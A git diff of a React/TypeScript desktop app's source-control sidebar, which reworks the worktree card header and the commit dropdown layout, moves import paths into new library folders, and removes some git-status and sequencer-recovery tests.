diff --git a/src/renderer/src/components/right-sidebar/folder-worktree-section-header.tsx b/src/renderer/src/components/right-sidebar/folder-worktree-section-header.tsx
index 6df52b72b5d..66641f4b678 100644
--- a/src/renderer/src/components/right-sidebar/folder-worktree-section-header.tsx
+++ b/src/renderer/src/components/right-sidebar/folder-worktree-section-header.tsx
@@ -15,8 +15,31 @@ type FolderWorktreeSectionHeaderProps = {
   behind?: number
   changeCount: number
   expanded: boolean
+  showBranchInHeader?: boolean
+  actions?: React.ReactNode
   onToggle: () => void
   onOpen: () => void
+  /** Receives the embedded panel's filter and overflow buttons while expanded. */
+  actionsSlotRef: (element: HTMLDivElement | null) => void
+}
+
+function AheadBehind({ ahead, behind }: { ahead?: number; behind?: number }): React.JSX.Element {
+  return (
+    <>
+      {!!ahead && (
+        <span className="flex shrink-0 items-center tabular-nums">
+          <ArrowUp className="size-3" />
+          {ahead}
+        </span>
+      )}
+      {!!behind && (
+        <span className="flex shrink-0 items-center tabular-nums">
+          <ArrowDown className="size-3" />
+          {behind}
+        </span>
+      )}
+    </>
+  )
 }
 
 export function FolderWorktreeSectionHeader({
@@ -27,86 +50,101 @@ export function FolderWorktreeSectionHeader({
   behind,
   changeCount,
   expanded,
+  showBranchInHeader = !expanded,
+  actions,
   onToggle,
-  onOpen
+  onOpen,
+  actionsSlotRef
 }: FolderWorktreeSectionHeaderProps): React.JSX.Element {
   const t = useTranslate()
   const openLabel = t(
     'auto.components.rightSidebar.FolderWorkspaceSourceControl.openWorktree',
     'Open this worktree'
   )
+  const showWorktreeName = !!worktreeName && worktreeName !== branch
+  // Expanded cards show the branch once, in the body's picker; collapsed cards have no body.
+  const showSummaryRow = showBranchInHeader && (!!branch || !!ahead || !!behind || changeCount > 0)
   return (
     // Pinned within its own card, above the panel's sticky COMMITS dock.
     <div
-      className={`sticky top-0 z-20 flex items-center gap-1 bg-card pr-1 ${expanded ? 'border-b border-input' : ''}`}
+      className={`group/card-header sticky top-0 z-20 flex flex-col gap-0.5 bg-card py-1.5 pl-2 pr-1 text-xs hover:bg-accent ${expanded ? 'border-b border-input' : ''}`}
     >
-      <button
-        type="button"
-        aria-expanded={expanded}
-        onClick={onToggle}
-        className="flex min-w-0 flex-1 flex-col gap-0.5 py-1.5 pl-2 text-left text-xs hover:bg-accent focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-inset focus-visible:ring-ring"
-      >
-        <span className="flex w-full min-w-0 items-center gap-1.5">
+      <span className="flex min-h-5 w-full min-w-0 items-center gap-1.5">
+        {/* Its ::after covers the header so any empty space toggles; the other controls sit above it. */}
+        <button
+          type="button"
+          aria-expanded={expanded}
+          aria-label={[repoName, showWorktreeName ? worktreeName : null, branch]
+            .filter(Boolean)
+            .join(', ')}
+          onClick={onToggle}
+          className="flex min-w-0 items-center gap-1.5 text-left after:absolute after:inset-0 focus-visible:outline-none focus-visible:after:ring-1 focus-visible:after:ring-inset focus-visible:after:ring-ring"
+        >
           <ChevronRight
             className={`size-3 shrink-0 text-muted-foreground ${expanded ? 'rotate-90' : ''}`}
           />
           <FolderGit2 className="size-3.5 shrink-0 text-muted-foreground" />
-          <span className="min-w-0 truncate text-[13px] font-semibold">{repoName}</span>
+          <span className="min-w-0 truncate text-[13px] font-semibold" title={repoName}>
+            {repoName}
+          </span>
           {/* Same-repo worktrees are told apart by name, as main did. */}
-          {worktreeName && worktreeName !== branch && (
-            <span
-              title={worktreeName}
-              className="min-w-0 flex-1 basis-0 truncate text-muted-foreground"
-            >
+          {showWorktreeName && (
+            <span className="min-w-0 truncate text-muted-foreground" title={worktreeName}>
               {worktreeName}
             </span>
           )}
-          {changeCount > 0 && (
-            <span className="ml-auto shrink-0 rounded-full bg-muted px-1.5 text-2xs text-foreground">
-              {changeCount}
+        </button>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant="ghost"
+              size="icon"
+              className="relative z-10 -my-0.5 size-5 shrink-0"
+              onClick={onOpen}
+              aria-label={openLabel}
+            >
+              <ArrowUpRight className="size-3.5 text-muted-foreground group-hover/card-header:text-foreground" />
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>{openLabel}</TooltipContent>
+        </Tooltip>
+        <span className="min-w-0 flex-1" />
+        {expanded && (
+          <span className="flex shrink-0 items-center gap-1 text-muted-foreground">
+            <AheadBehind ahead={ahead} behind={behind} />
+          </span>
+        )}
+        <div
+          ref={actionsSlotRef}
+          className="relative z-10 -my-1 flex shrink-0 items-center empty:hidden"
+        >
+          {actions}
+        </div>
+      </span>
+      {showSummaryRow && (
+        <span className="flex w-full min-w-0 items-center gap-1 pl-[2.375rem] pr-1 text-muted-foreground">
+          {branch && (
+            <span className="flex min-w-0 items-center gap-1 rounded-full border border-input px-1.5">
+              <GitBranch className="size-3 shrink-0" />
+              <span className="truncate" title={branch}>
+                {branch}
+              </span>
             </span>
           )}
-        </span>
-        {(branch || !!ahead || !!behind) && (
-          <span className="flex w-full min-w-0 items-center gap-1 pl-[1.625rem] text-muted-foreground">
-            {branch && (
-              <span
-                title={branch}
-                className="flex min-w-0 items-center gap-1 rounded-full border border-input px-1.5"
-              >
-                <GitBranch className="size-3 shrink-0" />
-                <span className="truncate">{branch}</span>
-              </span>
-            )}
-            {!!ahead && (
-              <span className="ml-auto flex shrink-0 items-center">
-                <ArrowUp className="size-3" />
-                {ahead}
-              </span>
-            )}
-            {!!behind && (
-              <span className={`flex shrink-0 items-center ${ahead ? '' : 'ml-auto'}`}>
-                <ArrowDown className="size-3" />
-                {behind}
+          <span className="ml-auto flex shrink-0 items-center gap-1">
+            {!expanded && <AheadBehind ahead={ahead} behind={behind} />}
+            {!expanded && changeCount > 0 && (
+              <span className="text-2xs tabular-nums">
+                {t(
+                  'auto.components.rightSidebar.FolderWorkspaceSourceControl.changeCount',
+                  '{{count}} changes',
+                  { count: changeCount, defaultValue_one: '{{count}} change' }
+                )}
               </span>
             )}
           </span>
-        )}
-      </button>
-      <Tooltip>
-        <TooltipTrigger asChild>
-          <Button
-            variant="ghost"
-            size="icon"
-            className="size-6 shrink-0"
-            onClick={onOpen}
-            aria-label={openLabel}
-          >
-            <ArrowUpRight className="size-3.5" />
-          </Button>
-        </TooltipTrigger>
-        <TooltipContent>{openLabel}</TooltipContent>
-      </Tooltip>
+        </span>
+      )}
     </div>
   )
 }
diff --git a/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-field-generation.ts b/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-field-generation.ts
index 3f5a0f760cb..b0840a271b9 100644
--- a/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-field-generation.ts
+++ b/src/renderer/src/components/right-sidebar/hosted-review/creation/use-create-pull-request-field-generation.ts
@@ -1,4 +1,4 @@
-import { textGenerationErrorText } from '@/lib/text-generation-error-copy'
+import { textGenerationErrorText } from '@/lib/text-generation/text-generation-error-copy'
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
 import { useCallback, useEffect, type Dispatch, type RefObject, type SetStateAction } from 'react'
diff --git a/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-refresh.ts b/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-refresh.ts
index 58a059f9ab4..04e5ebe10a8 100644
--- a/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-refresh.ts
+++ b/src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-refresh.ts
@@ -5,7 +5,7 @@ import type { Worktree } from '../../../../../../shared/worktree/types'
 import type { HostedReviewInfo } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts'
 import { isFolderRepo } from '../../../../../../shared/repo-kind'
 import { getWorktreeGitIdentityDisplay } from '../../../../../../shared/worktree/git-identity-display'
-import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order'
 import { getParentPrChecksRefreshIdentity } from './parent-pr-checks-rows'
 import type { ParentPrChecksRefreshOutcome } from './parent-pr-checks-row-types'
 
diff --git a/src/renderer/src/components/right-sidebar/index.tsx b/src/renderer/src/components/right-sidebar/index.tsx
index a43028802d4..059a4cfac24 100644
--- a/src/renderer/src/components/right-sidebar/index.tsx
+++ b/src/renderer/src/components/right-sidebar/index.tsx
@@ -22,7 +22,7 @@ import { useMeasuredWidth } from './right-sidebar-measured-width'
 import {
   isPairedWebClientWindow,
   shouldRenderDesktopWindowChrome
-} from '@/lib/desktop-window-chrome'
+} from '@/app-shell/chrome/desktop-window-chrome'
 import { getRendererAppPlatform } from '@/app-shell/platform/renderer-app-platform'
 import { ActivityBarPositionMenu, useActivityBarContextPlugin } from './activity-bar-position-menu'
 import { RightSidebarTopActivityBar } from './right-sidebar-top-activity-bar'
diff --git a/src/renderer/src/components/right-sidebar/local-port-row.tsx b/src/renderer/src/components/right-sidebar/local-port-row.tsx
index d5ccfc4556b..325767f9f4b 100644
--- a/src/renderer/src/components/right-sidebar/local-port-row.tsx
+++ b/src/renderer/src/components/right-sidebar/local-port-row.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback } from 'react'
 import { Box, Copy, ExternalLink, Info, Server, Trash2 } from 'lucide-react'
-import { getPortOpenBrowserTooltipLabel } from '@/lib/workspace-ports/workspace-port-actions'
+import { getPortOpenBrowserTooltipLabel } from '@/lib/workspace-ports/workspace-port-browser-open'
 import { addressForPort } from '@/lib/workspace-ports/workspace-port-urls'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'
diff --git a/src/renderer/src/components/right-sidebar/local-workspace-ports-panel.tsx b/src/renderer/src/components/right-sidebar/local-workspace-ports-panel.tsx
index e79d28061d0..df3024dfa8d 100644
--- a/src/renderer/src/components/right-sidebar/local-workspace-ports-panel.tsx
+++ b/src/renderer/src/components/right-sidebar/local-workspace-ports-panel.tsx
@@ -10,10 +10,10 @@ import {
   openWorkspacePortInBrowser,
   publishWorkspacePortScanForHost,
   refreshWorkspacePortScanAfterStop,
-  resolvePortOpenInOrcaBrowser,
   scanWorkspacePortsForTarget,
   workspacePortRuntimeTargetKey
 } from '@/lib/workspace-ports/workspace-port-actions'
+import { resolvePortOpenInOrcaBrowser } from '@/lib/workspace-ports/workspace-port-browser-open'
 import { resolveLocalhostLabelRouteForPort } from '@/lib/workspace-ports/workspace-port-localhost-label-selector'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts b/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts
index e7f4a0d1f99..88f858f7d5e 100644
--- a/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts
@@ -1,7 +1,7 @@
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
 import { workspaceNavigationToastAction } from '@/lib/workspace/activation/workspace-navigation-toast-action'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner'
diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-dialog.tsx b/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-dialog.tsx
index c26c4c4d07d..50b6949f427 100644
--- a/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-dialog.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-dialog.tsx
@@ -1,4 +1,4 @@
-import { textGenerationErrorText } from '@/lib/text-generation-error-copy'
+import { textGenerationErrorText } from '@/lib/text-generation/text-generation-error-copy'
 import React, { useMemo } from 'react'
 import { TriangleAlert } from 'lucide-react'
 import {
diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx b/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx
index 1c8b31c724f..9a9c02052cb 100644
--- a/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx
@@ -3,9 +3,9 @@ import { toast } from 'sonner'
 import { basename } from '@/lib/path'
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
-import { worktreeGitCopyHostId } from '@/lib/worktree-git-copy'
+import { worktreeGitCopyHostId } from '@/lib/workspace/ownership/worktree-git-copy'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
 import { getIndexedWorktreeMap } from '@/store/slices/worktrees/listing/worktree-catalog-index'
 import {
diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.test.tsx b/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.test.tsx
index e1091af64c5..4bb68f659d1 100644
--- a/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.test.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.test.tsx
@@ -12,8 +12,8 @@ import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { useAppStore } from '@/store/index'
 import { useWorkspaceCopyStatus, type WorkspaceCopyStatus } from './use-workspace-copy-status'
 import { recordWorktreeBranchSwitchLanded } from './workspace-branch-switch-status'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
-import { refreshGitStatusForWorktree } from '../sync/git-status-refresh'
+import '@/lib/workspace/ownership/worktree-git-copy'
+import '../sync/git-status-refresh'
 
 // The same project at the same path on this machine and on an SSH host share one status slot.
 const id = 'repo1::/srv/ai-tools'
@@ -123,14 +123,6 @@ it("reads a twin's own status instead of the selected copy's slot", async () =>
   expect(useAppStore.getState().gitStatusHeadByWorktree[id]).toBe('bbb')
 })
 
-it('keeps a hostless local selection from claiming the slot for either copy', async () => {
-  useAppStore.setState({ activeWorkspaceExecutionHostId: null })
-  const seen = await readFor('ssh:box-b')
-  expect(seen.current).toMatchObject({ statusKnown: true, entries: [] })
-  expect(status).toHaveBeenCalledWith(expect.objectContaining({ connectionId: 'box-b' }))
-  expect(useAppStore.getState().gitStatusByWorktree[id]).toEqual(dirty)
-})
-
 it('drops an open-time refresh that lands after the user selects the twin', async () => {
   useAppStore.setState({
     activeWorkspaceExecutionHostId: 'local',
@@ -176,50 +168,6 @@ it("doesn't trust the twin's slot when this copy becomes the owner", async () =>
   expect(seen.current).toMatchObject({ statusKnown: true, entries: [] })
 })
 
-it("shows the copy's own status when an identical newer poll supersedes the picker refresh", async () => {
-  // Both copies clean at the same commit; the store keeps the same entries reference for an identical status.
-  useAppStore.setState({
-    gitStatusByWorktree: { [id]: [] },
-    gitStatusHeadByWorktree: { [id]: 'aaa' }
-  })
-  const seen: { current: WorkspaceCopyStatus | null } = { current: null }
-  function Probe({ open }: { open: boolean }) {
-    seen.current = useWorkspaceCopyStatus({
-      worktreeId: id,
-      worktreePath: path,
-      hostId: 'local',
-      open,
-      refreshOnOpen: true
-    })
-    return null
-  }
-  await act(async () => root.render(<Probe open={false} />))
-  await act(async () => useAppStore.setState({ activeWorkspaceExecutionHostId: 'local' }))
-  const finishPicker = deferStatus()
-  await act(async () => root.render(<Probe open />))
-  const target = resolveWorktreeGitCopyNow(id, 'local')
-  if (!target) {
-    throw new Error('Local copy unresolved')
-  }
-  const state = useAppStore.getState()
-  await act(async () =>
-    refreshGitStatusForWorktree({
-      target: target.transport,
-      ownerHostId: target.hostId,
-      worktreeId: id,
-      worktreePath: path,
-      deps: {
-        setGitStatus: state.setGitStatus,
-        updateWorktreeGitIdentity: state.updateWorktreeGitIdentity,
-        setUpstreamStatus: state.setUpstreamStatus,
-        fetchUpstreamStatus: async () => null
-      }
-    })
-  )
-  await finishPicker(clean)
-  expect(seen.current).toMatchObject({ statusKnown: true, entries: [] })
-})
-
 it("keeps the twin's status out after selecting it and back while a refresh is in flight", async () => {
   useAppStore.setState({
     activeWorkspaceExecutionHostId: 'local',
diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts b/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts
index 0823f9087d4..6d1d1038dda 100644
--- a/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts
@@ -1,7 +1,7 @@
 import { useEffect, useState } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import { getRuntimeGitStatus } from '@/runtime/source-control/git/runtime-git-status-client'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type {
diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts b/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts
index 8e70a32a1dd..7e7dadfde3e 100644
--- a/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts
@@ -1,10 +1,10 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
 import {
   resolveWorktreeGitCopyNow,
   worktreeCopyPushTarget,
   worktreeGitCopyHostId
-} from '@/lib/worktree-git-copy'
+} from '@/lib/workspace/ownership/worktree-git-copy'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import {
   clearLandedBranchSwitchError,
diff --git a/src/renderer/src/components/right-sidebar/source-control/commit/commit-area.tsx b/src/renderer/src/components/right-sidebar/source-control/commit/commit-area.tsx
index 4dc129b24b9..bf7a0537a43 100644
--- a/src/renderer/src/components/right-sidebar/source-control/commit/commit-area.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/commit/commit-area.tsx
@@ -1,4 +1,4 @@
-import React, { useId, useMemo } from 'react'
+import React, { useMemo } from 'react'
 import { ArrowDownUp, ArrowUp, Check, CloudUpload, GitPullRequestArrow, Plus } from 'lucide-react'
 import {
   DropdownMenuContent,
@@ -6,6 +6,7 @@ import {
   DropdownMenuSeparator
 } from '@/components/ui/dropdown-menu'
 import { useTranslate } from '@/i18n/use-translate'
+import { cn } from '@/lib/class-names'
 import {
   hasExpandedCommitFailureDetails,
   summarizeCommitFailure
@@ -80,7 +81,6 @@ export function CommitArea({
   onDropdownAction
 }: CommitAreaProps): React.JSX.Element {
   const t = useTranslate()
-  const actionDescriptionId = useId()
   // Cap rows so long messages scroll internally instead of pushing Commit offscreen.
   const rows = getCommitMessageTextareaRows(commitMessage)
   // Spin the primary only for its matching operation; Fetch uses the chevron and commits use isCommitting.
@@ -173,41 +173,44 @@ export function CommitArea({
     'More commit and remote actions'
   )
   const dropdownMenuContent = (
-    <DropdownMenuContent align="end" className="w-72 max-w-[calc(100vw-1rem)]">
+    <DropdownMenuContent align="end" className="w-58 max-w-[calc(100vw-1rem)]">
       {dropdownItems.map((entry) =>
         entry.kind === 'separator' ? (
           <DropdownMenuSeparator key={entry.id} />
         ) : (
-          <div key={entry.kind}>
-            <DropdownMenuItem
-              aria-disabled={entry.disabled || undefined}
-              variant={entry.variant}
-              textValue={entry.label}
-              aria-describedby={entry.disabled ? `${actionDescriptionId}-${entry.kind}` : undefined}
-              onSelect={(event) => {
-                if (entry.disabled) {
-                  event.preventDefault()
-                  return
-                }
-                onDropdownAction(entry.kind)
-              }}
-            >
-              <span className="flex min-w-0 flex-col break-words">
-                <span>{entry.label}</span>
-                {!entry.disabled && (
-                  <span className="text-2xs text-muted-foreground">{entry.title}</span>
+          <DropdownMenuItem
+            key={entry.kind}
+            className="min-h-7"
+            aria-disabled={entry.disabled || undefined}
+            aria-description={entry.title}
+            variant={entry.variant}
+            textValue={entry.label}
+            onSelect={(event) => {
+              if (entry.disabled) {
+                event.preventDefault()
+                return
+              }
+              onDropdownAction(entry.kind)
+            }}
+          >
+            <span className={cn('min-w-0 truncate', entry.idle && 'text-muted-foreground')}>
+              {entry.label}
+            </span>
+            {entry.status && (
+              <span
+                className={cn(
+                  'ml-auto shrink-0 pl-3 text-2xs whitespace-nowrap tabular-nums',
+                  entry.statusTone === 'warning'
+                    ? 'text-status-warning-text'
+                    : entry.statusTone === 'active'
+                      ? 'text-foreground'
+                      : 'text-muted-foreground'
                 )}
-              </span>
-            </DropdownMenuItem>
-            {entry.disabled && (
-              <p
-                id={`${actionDescriptionId}-${entry.kind}`}
-                className="px-2.5 pb-1 text-2xs text-muted-foreground break-words"
               >
-                {entry.title}
-              </p>
+                {entry.status}
+              </span>
             )}
-          </div>
+          </DropdownMenuItem>
         )
       )}
     </DropdownMenuContent>
diff --git a/src/renderer/src/components/right-sidebar/source-control/commit/use-commit-message-generation.ts b/src/renderer/src/components/right-sidebar/source-control/commit/use-commit-message-generation.ts
index 0da639efec5..49905bebfb5 100644
--- a/src/renderer/src/components/right-sidebar/source-control/commit/use-commit-message-generation.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/commit/use-commit-message-generation.ts
@@ -6,16 +6,19 @@ import {
 } from '../panel/worktree-scope'
 import { resolveSourceControlAiEnabled } from '../../../../../../shared/source-control/ai/source-control-ai-operation-policy'
 import { resolveSourceControlAiForOperation } from '../../../../../../shared/source-control/ai/source-control-ai-operation-resolution'
-import { getRuntimeGitRepoDiscoveryHostKey } from '@/runtime/source-control/git/runtime-git-client-context'
-import { textGenerationCopyText } from '@/lib/text-generation-error-copy'
+import {
+  getRuntimeGitRepoDiscoveryHostKey,
+  type RuntimeGenerateCommitMessageOverrides
+} from '@/runtime/source-control/git/runtime-git-client-context'
+import { textGenerationCopyText } from '@/lib/text-generation/text-generation-error-copy'
 import { useCallback, useEffect } from 'react'
 import { useStore } from 'zustand'
 import {
   cancelRuntimeGenerateCommitMessage,
   generateRuntimeCommitMessage
 } from '@/runtime/source-control/git/runtime-git-generation-client'
-import type { RuntimeGenerateCommitMessageOverrides } from '@/runtime/source-control/git/runtime-git-client-context'
-import { useAppStore } from '@/store'
+
+import { useAppStore } from '@/store/index'
 import {
   createRunningCommitMessageGenerationRecord,
   getCommitMessageGenerationRecordKey,
diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/section-header.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/section-header.tsx
index e6b95041d57..00a38832642 100644
--- a/src/renderer/src/components/right-sidebar/source-control/listing/section-header.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/listing/section-header.tsx
@@ -3,6 +3,7 @@ import { ChevronDown } from 'lucide-react'
 import { cn } from '@/lib/class-names'
 import { Button } from '@/components/ui/button'
 import { useTranslate } from '@/i18n/use-translate'
+import { useSourceControlScope } from '../panel/worktree-scope'
 
 export function SectionHeader({
   label,
@@ -23,22 +24,27 @@ export function SectionHeader({
   actions?: React.ReactNode
 }): React.JSX.Element {
   const t = useTranslate()
+  // Folder cards keep the gap above the first file equal to the one below the last.
+  const compact = useSourceControlScope() !== null
   // Share the rounded container so hover styling spans the whole row.
   return (
-    <div className="pl-1 pr-3 pt-3 pb-1">
+    <div className={cn('pl-1 pr-3 pt-3', compact ? 'pb-0' : 'pb-1')}>
       <div className="group/section flex items-center gap-x-1 rounded-md pr-1 hover:bg-accent hover:text-accent-foreground">
         <Button
           type="button"
           variant="ghost"
-          size="xs"
-          className="h-auto min-h-6 min-w-0 flex-1 justify-start gap-x-1 gap-y-0 py-0.5 text-left font-semibold uppercase tracking-wider text-foreground/70 group-hover/section:text-accent-foreground"
+          size={compact ? 'chip' : 'xs'}
+          className={cn(
+            'h-auto min-w-0 flex-1 justify-start text-left',
+            compact ? 'min-h-4' : 'min-h-6'
+          )}
           onClick={onToggle}
           aria-expanded={!isCollapsed}
         >
           <ChevronDown
             className={cn('size-3.5 shrink-0 transition-transform', isCollapsed && '-rotate-90')}
           />
-          <span className="min-w-0 flex-1">
+          <span className="min-w-0 flex-1 text-xs font-semibold uppercase tracking-wider text-foreground/70 group-hover/section:text-accent-foreground">
             <span className="flex min-w-0 items-center gap-1">
               <span className="min-w-0 truncate" title={label}>
                 {label}
@@ -59,7 +65,9 @@ export function SectionHeader({
             )}
           </span>
         </Button>
-        <div className="ml-auto flex shrink-0 items-center justify-end">{actions}</div>
+        <div className={cn('ml-auto flex shrink-0 items-center justify-end', compact && '-my-1')}>
+          {actions}
+        </div>
       </div>
     </div>
   )
diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.test.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.test.tsx
deleted file mode 100644
index 95849f0b337..00000000000
--- a/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.test.tsx
+++ /dev/null
@@ -1,145 +0,0 @@
-// @vitest-environment happy-dom
-import { act } from 'react'
-import { createRoot } from 'react-dom/client'
-import { expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import { SequencerRecoveryControls } from './sequencer-recovery-controls'
-import '@/lib/source-control/graph/git-graph-tab'
-import { GIT_GRAPH_REFRESH_EVENT } from '@/lib/source-control/graph/git-graph-refresh-event'
-import { local } from '@/components/editor/git-graph/git-graph-workspace.test-fixtures'
-import type * as WorktreeGitCopy from '@/lib/worktree-git-copy'
-import type { GitStatusResult } from '../../../../../../shared/git/status/git-status-types'
-
-const { status, continued } = vi.hoisted(() => ({ status: vi.fn(), continued: vi.fn() }))
-vi.mock('@/runtime/source-control/git/runtime-git-commit-actions-client', () => ({
-  sequencerContinueRuntimeGit: continued
-}))
-vi.mock('@/runtime/source-control/git/runtime-git-status-client', () => ({
-  getRuntimeGitStatus: status
-}))
-vi.mock('@/runtime/source-control/git/git-commit-actions-capability', () => ({
-  useGitCommitActionsSupport: () => ({ supported: true }),
-  gitCommitActionsSupported: async () => true
-}))
-vi.mock('@/components/confirmation-dialog-context', () => ({
-  useConfirmationDialog: () => async () => true
-}))
-vi.mock('./use-worktree-context', () => ({
-  useSourceControlWorktreeContext: () => ({ activeWorktreeId: 'r::/repo', worktreePath: '/repo' })
-}))
-vi.mock('@/lib/worktree-git-copy', async (importOriginal) => ({
-  ...(await importOriginal<typeof WorktreeGitCopy>()),
-  resolveWorktreeGitCopyNow: () => ({
-    worktreeId: 'r::/repo',
-    hostId: useAppStore.getState().activeWorkspaceExecutionHostId,
-    transport: { kind: 'local' },
-    connectionId: undefined
-  })
-}))
-
-it('fences late recovery status while invalidating the original graph after navigation', async () => {
-  const initial = useAppStore.getState()
-  const pending = Promise.withResolvers<GitStatusResult>()
-  const fetching = Promise.withResolvers<void>()
-  let accepted: GitStatusResult = { entries: [], head: 'host-A', conflictOperation: 'cherry-pick' }
-  const refreshed = Promise.withResolvers<void>()
-  let requestedPublishTarget: unknown
-  let acceptedUpstream: unknown
-  useAppStore.setState({
-    worktreesByRepo: {
-      r: [
-        { ...local, pushTarget: { remoteName: 'publish-a', branchName: 'topic-a' } },
-        {
-          ...local,
-          hostId: 'ssh:B',
-          pushTarget: { remoteName: 'publish-b', branchName: 'topic-b' }
-        }
-      ]
-    },
-    activeWorktreeId: 'r::/repo',
-    activeWorkspaceExecutionHostId: 'local',
-    setGitStatus: (_id, result) => {
-      accepted = result
-    },
-    updateWorktreeGitIdentity: () => {},
-    fetchUpstreamStatus: async (_id, _path, _connectionId, pushTarget) => {
-      requestedPublishTarget = pushTarget
-      return { hasUpstream: true, ahead: 2, behind: 0 }
-    },
-    setUpstreamStatus: (_id, upstream) => {
-      acceptedUpstream = upstream
-      refreshed.resolve()
-    }
-  })
-  status.mockImplementation(() => {
-    fetching.resolve()
-    return pending.promise
-  })
-  continued.mockResolvedValue(undefined)
-  const container = document.createElement('div')
-  document.body.append(container)
-  const root = createRoot(container)
-  let invalidatedWorktree: unknown
-  const onGraphRefresh = (event: Event) => {
-    if (event instanceof CustomEvent) {
-      invalidatedWorktree = event.detail
-    }
-  }
-  try {
-    await act(async () =>
-      root.render(
-        <SequencerRecoveryControls worktreeId="r::/repo" operation="cherry-pick" disabled={false} />
-      )
-    )
-    await act(async () => {
-      container.querySelector<HTMLButtonElement>('button')!.click()
-      await fetching.promise
-    })
-    await act(async () => useAppStore.setState({ activeWorkspaceExecutionHostId: 'ssh:B' }))
-    accepted = { entries: [], head: 'host-B', conflictOperation: 'revert' }
-    await act(async () => {
-      pending.resolve({ entries: [], head: 'host-A-clean', conflictOperation: 'unknown' })
-      await pending.promise
-    })
-    expect(accepted).toEqual({ entries: [], head: 'host-B', conflictOperation: 'revert' })
-
-    const recovering = Promise.withResolvers<void>()
-    const started = Promise.withResolvers<void>()
-    continued.mockImplementation(() => {
-      started.resolve()
-      return recovering.promise
-    })
-    window.addEventListener(GIT_GRAPH_REFRESH_EVENT, onGraphRefresh)
-    await act(async () => {
-      container.querySelector<HTMLButtonElement>('button')!.click()
-      await started.promise
-    })
-    await act(async () => useAppStore.setState({ activeWorktreeId: 'other' }))
-    await act(async () => {
-      recovering.resolve()
-      await recovering.promise
-    })
-    expect(invalidatedWorktree).toBe('r::/repo')
-    expect(accepted).toEqual({ entries: [], head: 'host-B', conflictOperation: 'revert' })
-
